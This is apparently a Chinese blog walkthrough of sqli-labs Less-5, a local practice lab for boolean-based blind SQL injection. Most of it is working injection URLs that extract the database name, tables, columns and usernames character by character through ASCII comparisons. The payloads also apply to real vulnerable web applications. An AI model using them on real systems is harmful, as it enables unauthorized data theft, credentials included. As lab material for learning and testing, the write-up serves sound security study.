Sqli-LABS通关笔录-5[SQL布尔型盲注]

/*

请为原作者打个标记。出自：珍惜少年时

*/

 

通过该关卡的学习我掌握到了

1.如何灵活的运用mysql里的MID、ASCII、length、等函数

2.布尔型盲注的认识

3.哦，对了还有。程序是从0开始的，limit的时候要从0开始。{0,1}

 

该文就是布尔型盲注

 

盲注又分为了以下三种：

1.布尔型盲注：根据页面返回的真假来判断的即为布尔型盲注

2.时间型盲注：根据页面返回的时间来判断的即为时间型盲注

3.报错型盲注：根据页面返回的对错来判断的即为报错型盲注

 

FreeBuf的一篇《详解sql盲注测试高级技巧》文章：http://www.freebuf.com/articles/web/30841.html

看下图：

直接构造出Payload:

http://127.0.0.1/sql/Less-5/index.php?id=-1' or 1=1 --+

麻烦来了，没有爆出显示位

来看看源码，由源码可以看得出来，除了一个echo "You are in ....';以外再无其他输出。故由此得出为布尔型盲注

 

昨晚心里恐惧，觉得略该睡觉了。就睡了。继续研究！

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　Start Action 

 

00x1 判断出盲注的类型

通过前面，其实已经可以判断出，当下面临的是布尔型的盲注，页面的真假。

联合到之前的ASCII逐字解码法来注入吧。

 

00x2 猜解数据库的名字

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
 
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
 
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+  正常

这里使用的是and，之前是使前面的sql语句报错才用union.我也是顿悟，才知道的。问了好多人都说脚本写脚本写。尴尬。

如此就得到了

第一个字符的ASCII码为115解码出来为“s”

第二个字符的ASCII码为101解码出来为“e”

第二个字符的ASCII码为99解码出来为“c”

依次类推出数据库的名字为“security”

 

 00x3 猜解表明

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确

注：select下的limit是第几个表。

　　substr下的是截取的表内容。

当前库下（注入点连接的数据库）第一个表ASCII码为114  解码为r

当前库下（注入点连接的数据库）第一个表ASCII码为101  解码为e

当前库下（注入点连接的数据库）第一个表ASCII码为....  解码为...

............................................》》》推出第一个表的表明为：referer《《《.....

一下来推第二个表的内容：

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=97--+  正确

当前库下（注入点连接的数据库）第二个表ASCII码为117 解码为u

当前库下（注入点连接的数据库）第二个表ASCII码为97   解码为a

当前库下（注入点连接的数据库）第一个表ASCII码为....  解码为...

............................................》》》推出第二个表的表明为：uagents《《《.....

 

 完整的表数据如下：

mysql> use security;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)

 00x4 猜解字段

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
 
105的ASCII码为：i
 
=》该字段为：id
 
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))=117--+
 
117的ASCII码为：u
 
=>该字段为：username
 
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))=112--+
 
112的ASCII码为：p
 
=>该字段为：password

有图可见只有三个字段，且程序是从0开始的。所以到2为止。

当为3时就报错了。

http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1--+

 00x5 猜解内容

security.users下的第一个字段

格式：httP://127.0.0.1/sql/less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表明 order by id limit 0,1),1,1)>ASCOO码--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>68--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))=68--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),2,1))=117--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 0,1),3,1))=109--+
.....................................................................................................................................
最终解码后为：Dumb

security.users下的第二个字段

格式：http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select 字段 from 数据库.表名 order by id limit 1,1),1,1))=65 --+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),2,1))=110--+
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select username from security.users order by id limit 1,1),3,1))=103--+
.....................................................................................................................................
最终解码后为：Angelina

#注：上面两个测试的是username,如果要猜解密码，记得改一下就可以。

 可以看一下完整的结构

 

 

 

 

转载请注明出处：珍惜少年时博客

 

 

 

 

 

 

 

THE END

---